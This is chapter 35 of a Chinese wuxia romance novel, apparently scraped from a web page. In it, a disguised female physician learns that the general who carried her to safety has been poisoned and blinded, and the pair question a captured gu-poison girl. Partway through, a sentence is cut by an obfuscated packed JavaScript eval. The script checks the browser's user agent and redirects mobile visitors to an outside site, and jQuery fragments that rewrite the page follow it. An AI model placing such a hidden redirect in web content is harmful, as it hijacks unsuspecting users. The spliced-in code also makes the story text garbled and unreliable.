35. 上墟劫 七

作品:《江湖何曾骗真心

    林中极静,唯有阳光随着时辰推移,愈发炽烈耀眼,透过云层与枝叶,斑驳地撒落在两人身上。


    谢行征眼前黑暗,无从感知光影变化,只认真感受着太阳的热度及风向,凭此辨别大致方向。唐雨却被刺眼的光晃醒,迷迷糊糊抬手欲挡。


    察觉到背后人将醒,谢行征特意放缓了步伐。唐雨微微睁眼,在看到谢行征时,不自觉有刹那失神。


    细碎灼人的光,伴着叶片阴影,镀在那刀削斧刻般的侧脸上,清俊得叫她生出几分不实之感。若非那宽厚背脊传来的温度,她几乎要以为自己仍在梦中。


    带着刚醒的怔然,她静静欣赏了许久,才突然发觉,谢行征那向来冷厉的黑眸中,竟多出几分空洞。


    唐雨心头一震,下意识伸手欲碰触。


    谢行征虽看不见,耳朵却极灵敏,立刻捕捉到她的小动作。


    “醒了?”


    他这一开口,叫唐雨被惊得心虚,讪讪收回手,笑道:“是啊……我们这是逃到哪儿了?”


    “快到山脚。”谢行征语气淡淡。


    他其实并不清楚具体方位,只能含糊作答。


    两人一时无言,气氛微微尴尬。此时,却忽闻有马蹄自远而近,谢行征立刻带着她隐入树后。


    唐雨抬眼看去,只见坡下匹高大骏马飞驰而过,两人几乎同时反应过来。


    那不是追杀的鬼面人,而是来寻两人的谢家军。


    至此,两人算不上体面的逃难,终于宣告结束。


    “少将军!”将士们看见谢行征此时衣衫仍是半湿,周身还带着满身血污与腐腥气息,皆面露忧色。


    谢行征却沉声相问:“你们是如何寻到此处?”


    实在是他们找的有些快,也有些巧,叫他隐隐察觉背后或有推手。


    众人对视片刻,低声答:“是陆司正派人传讯,让我们沿北侧山脚搜寻。”


    陆崖……?


    谢行征心中陡生几分疑虑与戒备。此人如何得知他们奔逃的方向?此举又究竟是敌是友?


    将士们看向他背上的苏游医,以为伤得极重,上前欲替少将军接手分担,又怕碰伤人,手一时僵在半空。


    唐雨想从谢行征身上下来,却被他以手臂受伤不能自己驾马为由给拒绝了。


    “我带你上马。”


    话落,谢行征将她送上马背,下一瞬,唐雨便贴上他温暖的怀抱。


    风声猎猎自耳旁呼啸而过,蹄声如雷,谢行征圈着她,迎着风策马疾驰。夏季的风不冷也不干涩,带着暖意拂过唐雨脸颊,身后男人的手臂与胸膛形成了一个坚不可破的囚笼,将她圈住。即便隔着半湿冰凉的衣衫,她仍能清晰感受到他温热的体温,与肌肉线条隐隐透出的力量感。


    很奇怪,时机与境地皆不对,可唐雨却很喜欢这样贴近他。


    无论是在林中时,他背着她;亦或是此刻,被他拥着,都让她觉得心情很好。


    她唇角不自觉扬起,轻哼了一声。


    谢行征听见,心头一紧,担心地问:“怎么了,哪里痛吗?”


    唐雨看了眼受伤之处,如今虽已经不再渗血,可布条上的鲜红血迹仍旧刺目。


    痛吗?


    原本左臂真的痛死了,可现在,她却一点不觉痛。


    不过痛或不痛此刻都并不重要。唐雨语气轻快,面上含笑,“对啊,左手还有点痛,你骑得慢些吧。”


    话音刚落,那马儿果然慢了下来。疾风骤止,丝毫没有刚才疾驰时的颠簸,两个如同在京郊闲庭漫步般,丝毫看不出刚自危机中脱逃。


    只是身上那湿透血污的衣物,和有些凌乱的发髻,将这本颇有几分旖旎氛围的场景,击得七零八落。


    *


    回到望远镖局时,萧方椋和望山岳尚未归来,只有望云熙焦急等候。见两人这般狼狈的模样,心头一紧,也顾不得多问,急忙张罗去唤医者。


    大夫很快赶来。先替唐雨诊脉,又看过伤,神色竟带上几分困惑:“公子虽有些外伤,但脉象总体沉稳,也无中毒迹象……”


    可这脉象怎么有些奇怪?竟偏向女子的阴柔。


    在他疑惑不解,怀疑自己诊错,正欲再细细诊一次时。


    唐雨却已将手收回袖中,笑着开口:“不必了。我亦为医者,自知身体状况。大夫还是先替谢将军看看吧。”


    见他这般推拒,大夫也不好勉强,只好转身请谢小将军伸手。谁料谢行征却退后一步,眉心微沉,淡声拒绝:“无碍,待回谢府,我自会找人诊治。”


    莫看他语气冷硬,背脊也如往日般直挺,可唐雨盯着那张俊脸,却还是看出了几分掩饰不住的苍白与古怪。


    尤其那双本如曜石般澄澈的眼,如今却如失去星子点缀的夜空,显得黯淡无光。唐雨唇边笑意霎时消散无踪,忽地伸手去抓他手腕。


    谢行征捕捉到周围风动,本能侧身去躲,可还是慢了一步,被她抓住自己手腕,就在他想挣开之际。


    唐雨冷声提醒:“我左臂有伤。”


    短短五字,却真叫他一滞。原本紧绷的身体松了几分,指节也随之松开,最终没有再阻止。


    唐雨指尖覆上脉门,神色瞬间冷了下来。那脉象沉滞、气息混乱,毒意隐伏其中。待再抬眸望向那双眼睛时,她眉头更时不自觉蹙紧,已然明白他应是看不见了。


    所以,他就这样摸黑,背着睡着的她逃命?也不叫她帮着指指路?


    真是有能耐!


    唐雨胸口一堵,心中怒意陡升,气得呼吸都沉重几分,猛地甩开他的手。


    谢行征敏锐地捕捉到她的情绪波动,但心间却升起更大疑惑。


    他之所以不说,是因此毒暂不是大事。如同在战场之上,莫说断手断脚,哪怕是剩一口气,也要咬牙战下去。如果因一时伤势,就立刻要昭告四方,岂不是动摇“军心”。


    痛,忍一忍,总会过去的。


    因此他并不觉得,刻意的隐瞒有任何问题。自然也不明白,唐雨此时为何那么生气。


    此时,唐雨上涌的怒气虽还未散尽,却也压下去不少。她咬着后槽牙,再次拉过他的手腕。


    这一次,她把脉的更为认真,动作也轻柔得不可思议。


    血池的毒沾染过的皮肤,会如剥皮般灼痛,她清楚那是怎样的痛。所以怕一不小心就会在他已有的痛苦上,再增一丝半点。


    谢行征心口微动,不知为何,竟生出几分紧张。


    唐雨的表现,给他一种很微妙的感觉。和寻常自己受伤时,下属亦或亲友那些担忧、关心的情绪皆然不同。是一种,好似她正替自己难过、生气,而远远大过,她在担心自己。


    很奇怪,很陌生,以至心口有些酥麻麻的。


    或许,他真是中毒很深了吧……


    屋内此时气氛古怪又沉重,满室寂静压得望云熙心慌。她不懂两次诊脉,为何苏雨堂却始终不发一言。


    她急得直跺脚,索性命令道:“大夫,你快再给谢小将军把把脉!”


    大夫不敢怠慢,此次上前也未遭阻拦。当指尖搭上脉门时,他脸色猛地大变,额上渗出冷汗。收回手后,又抬手在谢行征眼前挥了挥,神情愈发凝重。


    “将军体内毒素已蚀入筋脉。虽凭封住数处大穴,此刻还能压着不发,但若五日之内不能解毒,纵能借着雄浑内力保下性命,武功也必散去十之七八。”


    他顿了顿,叹息道:“眼睛更因直接触毒源,如今已然看不见,再拖下去,怕要彻底失明。”


    屋子里,一瞬死寂。


    望云熙消化


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347217|180495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    完其中意思,难得慌乱催促:“那你快看看怎么解毒!咱镖局别的不多,什么珍稀药材都有!”


    “小姐,不是我不想治……”大夫神色透出几分无奈,解释道:“谢小将军所中,并非单一之毒,而是混合多种毒素,毒性混杂参差,极难对症。且其体内还有中蛊迹象,这实非中原医者所擅长,必须得找熟悉蛊毒的巫医才行。”


    望云熙听完,在一旁急得团团转,脑中飞快思索镖局能否寻得懂蛊之人。


    唐雨始终未曾开口,胸中之气像被什么死死堵住,看似气上心头,实则是烦躁于推算谢行征身上毒的可能解法。


    就在此气氛沉重之时,院外忽然传来脚步与喧哗。竟是萧方椋、望山岳带人归来,身后还押着那个不服挣扎着的红衣小姑娘。


    见到她时,唐雨眼神陡然一亮,快步上前,扯过她:“说!那破血池中的毒,哪有解药?”


    小绮梦被她吓到,却很快发现屋中原是两熟人,更察觉谢行征身上的蛊虫气息。登时抬起下巴冷笑:“解药?血池里混的毒,没有千种也有百种,蛊虫、蛇毒、草木,抓到什么放什么,怎么可能有解药!”


    当她余光再次瞥向谢行征时,忽地偏头,想要晃动脑袋,却被唐雨眼疾手快扯下她发髻两侧的铃铛,死死攥在手心,没让发出一点声响。


    唐雨将铃铛交给望山岳,冷声交代:“收好,绝不能让她有机会再碰。”


    随即又凑近她几分,冷冷威胁:“你有胆就在我面前控蛊试试。若我活着,就必让你生不如死。”


    这一番话果然把小绮梦吓住。她本身蛊术也不精,而眼前此人更是被月翁认定是月绮梦。加之她入了血池,此时却未有中毒中蛊迹象,心下更觉此人定然深不可测。


    最终,小绮梦心虚地缩了缩肩膀,乖顺点点头,息了反抗的念头。


    唐雨冷漠瞥了她一眼,旋即回身对众人道:“得让她将血池中用过的毒物都交代出来,然后按此逐一找出相应解法。”


    望云熙立刻应声:“我来。阿岳心软,逼供小孩的事便交给我。”说罢便吩咐人将小绮梦绑去偏院。


    唐雨则半推半拽着谢行征往内室去。用不容拒绝的语气道:“如今你眼睛暂不可逆,但我能先施以银针,将毒素暂封于经脉间,让其无法再往心脉扩散。只是这段时间,你绝不能用内力。”


    这是她弟弟中毒后,唐门众人所创的缓兵之计。不论多稀奇古怪的毒,如此处理,只要不用内力,至少可拖上大半年,为后续寻解法争取时间。


    谢行征唇角微动,似要说什么,终究还是没开口。


    唐雨专注于手上动作,干脆利落地提针刺入。数息后,谢行征便发觉,身上原本刀片刮过皮肉的灼痛感,竟散去大半。


    “放心。”唐雨抬眸,语气笃定而认真:“我一定会找到替你解毒的法子。”


    她旋即又要来纸笔,在案几上飞快写下所需药材。


    望山岳与萧方椋趁两人此时得空,将上墟所历所见道来。


    等说完那些古怪的铁链囚笼与诡异密室后,萧方椋转眸看向谢行征,低声问:“谢小将军,当年你曾参与过剿灭南月的战役,对南疆较为熟悉。可能推断出,他们修建这上墟与血池,究竟意欲何为?”


    谢行征沉默了良久,无神的眸中,却缓缓凝出一抹彻骨寒意:“我大概能猜到。他们要这些南疆女子,不是为了别的,而是要借肚生子。”


    他顿了顿,声音压得极低:“目的,大概是为了……重新造出月绮梦。”


    此言一出,屋内骤然一静。


    再一次听见此名,唐雨执笔的手猛地一颤,墨汁在纸上滴落又晕开。待再抬起头时,她看向谢行征的眼中,盛满疑惑与震惊。


    为什么……他也知道这个名字?